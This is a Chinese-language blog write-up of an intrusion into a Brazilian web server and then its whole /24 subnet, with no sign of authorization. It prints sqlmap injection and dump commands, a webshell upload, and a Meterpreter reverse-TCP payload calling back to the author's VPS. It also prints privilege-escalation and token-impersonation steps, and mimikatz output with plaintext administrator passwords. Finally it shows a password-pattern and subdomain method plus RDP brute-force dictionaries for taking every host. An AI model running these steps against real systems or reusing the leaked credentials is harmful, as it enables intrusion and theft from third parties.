看我如何快速拿下整个C段主机权限
0x01 前言
Date/time:2015年,这次渗透测试中发现已经拿下的几台机器的管理员密码存在一定规律性,最终通过分析密码规律、组合新密码成功拿下目标整个C段机器权限,个人感觉这是个不错的内网通用/规律密码实战案例,所以想着还是记录一下吧。
0x02 Getshell过程
网站基本信息探测:
目标站点:http://www.that****elos.com.br 服务器IP:189.**.**.204(巴西) 环境平台:ASP.NET 服务器系统:Windows
这个网站禁止国内IP访问,所以只能上墙去做测试了,先用Chrome浏览器插件和指纹识别网站都未能得到服务器系统具体版本,不过根据个人经验猜测这应该是台Windows2003。
Chrome浏览器插件:Server Details 1.0.12、Wappalyzer 服务器系统识别:http://fuwuqixitongshibie.51240.com/?q= 网站后台地址:http://www.that****elos.com.br/admin/
接着我们用Safe3WVS_v10.1漏洞扫描工具成功找到几处注入,并使用sqlmap工具验证这个注入点确实是存在的,并且已经跑出管理员的表和列,只不过在跑管理员用户密码时报错了。
跑表名:
sqlmap -u "http://www.that****elos.com.br/detalhe_produto.asp?codProd=510" --tables [7 tables]:categorias,clientes,destaques,itens,pedidos,produtos,usuarios
跑列名:
sqlmap -u "http://www.that****elos.com.br/detalhe_produto.asp?codProd=510" -T "usuarios" --columns [5 columns]:codusuario,email,login,nome,senha
跑数据:
sqlmap -u "http://www.that****elos.com.br/detalhe_produto.asp?codProd=510" --dbms access -T "usuarios" -C "email,login,senha" --dump --threads 10
这里不去纠结为什么在sqlmap跑数据时会报错,既然已经得到管理员的表和列,那么就可以直接利用其它注入工具来跑管理员用户密码了,如:阿D、明小子等注入工具,灵活运用嘛!
通过这个注入点成功得到网站管理员帐号和密码,登录网站后台并找到一处无任何过滤的上传,直接传了一个ASP的图片马,就这样很顺利的拿到这个站的Webshell权限。
0x03 实战提权过程
服务器基本信息探测:
端口开放:21、80、135、443、445、873、65432 补丁情况:打了750+系统补丁(Windows 2003 x86) 脚本探测:仅支持ASP脚本文件,不支持PHP、ASPX 磁盘权限:C盘部分文件夹有可读/写权限,不能跨站
搞了这么久也是第一次遇到打750+补丁的2003机器,虽然知道利用提权EXP搞下的机率不大,但还是得尝试下不是,说不定就“成”了呢,尝试了以下这些提权EXP,最终结果在意料之中,失败了。
pr.exe,Churrasco.exe,2003.exe,NDProxy.exe,iis6.exe,MS11-046.exe,MS10-048.exe,MS11-080.exe,MS13-051.exe,debug.exe......
我们再来试下ms14_058_track_popup_menu提权模块,由于目标禁止国内IP地址访问,所以在运行攻击载荷文件后无法获取到目标机器会话,所以笔者是在国外VPS上进行测试的。
root@c2unix:~# msfpayload windows/meterpreter/reverse_tcp LHOST=37.*.**.52 LPORT=443 X > /media/sf_Temp/test.exe
msf > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp msf exploit(handler) > set lhost 37.*.**.52 msf exploit(handler) > set lport 443 msf exploit(handler) > exploit [*] Started reverse handler on 37.*.**.52:443 [*] Starting the payload handler... [*] Sending stage (770048 bytes) to 189.**.**.204 [*] Meterpreter session 1 opened (37.*.**.52:443 -> 189.**.**.204:1150) at 2015-01-01 13:48:01 +0000
查看当前会话权限、系统信息,尝试使用getsystem提权,没有成功,将当前会话放置后台运行,继续加载ms14_058_track_popup_menu提权模块进行测试。
meterpreter > getuid Server username: $U$AUTORIDADE NT\SERVIO LOCAL-0x4155544f524944414445204e545c5345525649c74f204c4f43414c meterpreter > getsystem [-] priv_elevate_getsystem: Operation failed: Access is denied. meterpreter > sysinfo Computer : WEB200 OS : Windows .NET Server (Build 3790, Service Pack 2). Architecture : x86 System Language : pt_BR Meterpreter : x86/win32 meterpreter > background [*] Backgrounding session 1...
msf exploit(handler) > use exploit/windows/local/ms14_058_track_popup_menu msf exploit(ms14_058_track_popup_menu) > set payload windows/meterpreter/reverse_tcp msf exploit(ms14_058_track_popup_menu) > set lhost 37.*.**.52 msf exploit(ms14_058_track_popup_menu) > set lport 443 msf exploit(ms14_058_track_popup_menu) > set session 1 msf exploit(ms14_058_track_popup_menu) > exploit [*] Started reverse handler on 37.*.**.52:443 [*] Launching notepad to host the exploit... [+] Process 11464 launched. [*] Reflectively injecting the exploit DLL into 11464... [*] Injecting exploit into 11464... [*] Exploit injected. Injecting payload into 11464... [*] Payload injected. Executing exploit... [+] Exploit finished, wait for (hopefully privileged) payload execution to complete. [*] Sending stage (770048 bytes) to 189.**.**.204 [*] Meterpreter session 2 opened (37.*.**.52:443 -> 189.**.**.204:1788) at 2015-01-01 14:03:44 +0000
这里可以看到利用ms14_058_track_popup_menu提权模块后得到一个新的meterpreter会话,但仍然是普通权限,在以往的实战案例中曾多次碰到过这种情况,具体原因不明,也没去深入研究。
meterpreter > getuid Server username: $U$AUTORIDADE NT\SERVIO LOCAL-0x4155544f524944414445204e545c5345525649c74f204c4f43414c meterpreter > getsystem [-] priv_elevate_getsystem: Operation failed: Access is denied. meterpreter > hashdump [-] priv_passwd_get_sam_hashes: Operation failed: The parameter is incorrect.
ms14_058_track_popup_menu提权模块失败,笔者陷入深思......,突然想到meterpreter下还有个incognito拓展,可以用来盗窃目标主机的令牌或假冒用户。
我们先看下这台服务器里有几个管理员用户,方便后面找管理员可用令牌,可以看到除了默认的Administrator,还有一个cronjob。
list_tokens -u列出可用用户令牌,这列出来的可用用户令牌太多了,笔者用...Snip...省略了一部分,可以看到可用用户令牌中有cronjob管理员令牌。
列出可用用户令牌:
meterpreter > use incognito Loading extension incognito...success. meterpreter > list_tokens -u [-] Warning: Not currently running as SYSTEM, not all tokens will be available Call rev2self if primary process token is SYSTEM Delegation Tokens Available ======================================== AUTORIDADE NT\SERVI?O LOCAL WEB200\aewcorp WEB200\attcorreia WEB200\cronjob WEB200\sueddesigner ...Snip... Impersonation Tokens Available ======================================== WEB200\aluggo WEB200\ciacompropaganda WEB200\datahome WEB200\ipirangacontabil WEB200\web200 ...Snip...
假冒cronjob用户令牌:
meterpreter > impersonate_token WEB200\\cronjob [-] Warning: Not currently running as SYSTEM, not all tokens will be available Call rev2self if primary process token is SYSTEM [+] Delegation token available [+] Successfully impersonated user WEB200\cronjob meterpreter > getuid Server username: WEB200\estoquedomarmorista meterpreter > hashdump ...Snip...
当前机器IP地址为:189.**.**.204,远程端口号:65432,计算机名称:WEB200,使用meterpreter下的mimikatz法国神器抓到的目标系统明文密码如下,管理员哈希密码均无法破解(>=16位)。
0;980627246 NTLM WEB200 Administrador w3b200r0x0271114 0;3450401626 NTLM WEB200 cronjob 016b2023ee9b897ca643 0;1214252650 NTLM WEB200 web200 p1cadasgalaxi4s 0;1236893630 NTLM WEB200 thatycabelos vbs147369 0;74485534 NTLM WEB200 iis_user 123abc!#
利用一些常见的漏洞又拿到了C段中189.**.**.9、189.**.**.55服务器的Webshell权限,在提权时发现与刚提的204那台服务器有很多类似之处。
如:部分文件夹权限、上传cmd.exe执行命令、服务器系统主机名、部分命令权限不足、一样的远程端口号等等。
只是不能执行我们自己上传的提权EXP,提示0x2331错误,如下图所示。但是好像只要服务器重启后又可以正常执行提权EXP了,或者可以尝试将上传的提权EXP后缀改为TXT。
0x04 密码/域名规律
根据在几台机器上得到的一些信息和个人经验来说,基本可以确定这个C段中的所有机器为同一个管理员,所以管理员使用的密码肯定是有规律可寻的,接下来我们一起分析下他的密码规律是怎样的。
(1) 密码规律分析
几台机器上常用管理员用户有:Administrador,cronjob。189.**.**.204这台服务器的Administrador密码为:w3b200r0x0271114,密码规律主要与主机名中的3位数字有关,与IP地址无关。
w3b = 固定值,200 = 计算机名称(3位数字),r0x0271114 = 固定值
使用WPS表格函数提取主机名3位数字:=RIGHT(H2,3),组合一个新密码:=B2&C2&D2,最终通过密码规律组合出C段189.**.**.9、189.**.**.55这两台机器的管理员密码,如下图。
目前只能通过已控机器得知他的主机名,那我们在没有拿到C段其他机器的Webshell权限时怎么得到他的主机名呢?或者说有没有办法直接进入C段其他服务器呢?当然是有的,这里仅提供一个思路。
爆破思路:
RDP默认端口为3389,拿下的几台机器RDP端口为65432,我们可以根据找到的密码规律生成一个高效字典对189.**.**.X这个段所有IP进行RDP爆破,主机名3位数字控制在300即可,如果不行再增加。
w3b200r0x0271114 w3b201r0x0271114 w3b202r0x0271114 w3b203r0x0271114 w3b204r0x0271114 w3b205r0x0271114 w3b206r0x0271114 w3b207r0x0271114 w3b208r0x0271114 w3b209r0x0271114 w3b210r0x0271114 ...Snip...
(2) 域名规律分析
在测试中多次看到“主机名.test.net”这样的子域,访问了几个后证实了我的想法:管理员在每台服务器上都解析了这样一个子域,命名规律为:主机名.test.net。
知道域名规律后就可以省去拿Webshell了,直接就能得到主机名,最后再通过组合密码进入C段其他机器,测试了10几台都是OK的。
形象比喻:
C段所有机器沦陷 = 密码规律 + 主机名 + 域名规律,密码规律 = 父亲,主机名 = 儿子,域名规律 = 母亲,父亲和母亲都需要儿子,只有在一起生活才算得上是一个完整家庭,缺一不可。
思路拓展:
根据域名规律生成高效“主机名.test.net”子域字典,主机名控制在300即可,然后通过脚本批量Ping这些子域得到C段存活机器的IP地址和对应主机名,然后再根据密码规律组合出新密码。
web200.test.net web201.test.net web202.test.net web203.test.net web204.test.net web205.test.net web206.test.net web207.test.net web208.test.net web209.test.net web210.test.net ...Snip...
我们可以直接用WPS表格函数组合一个新密码:=B2&(RIGHT(LEFT(E2,6),3)&D2),最终通过密码规律组合出C段所有存活机器的管理员密码,如下图。
0x05 总结
在内/域环境中我们时常会遇到通用/规律密码,一般会以主机名、IP地址、年份以及常用字符123/qwe/!@#等做为规律,也可以分析网站后台、中间件、数据库、第三方软件等等各类密码的共同点和规律,然后再组合生成高效字典进行爆破,借用@亮神的一句话:渗透的本质是信息搜集。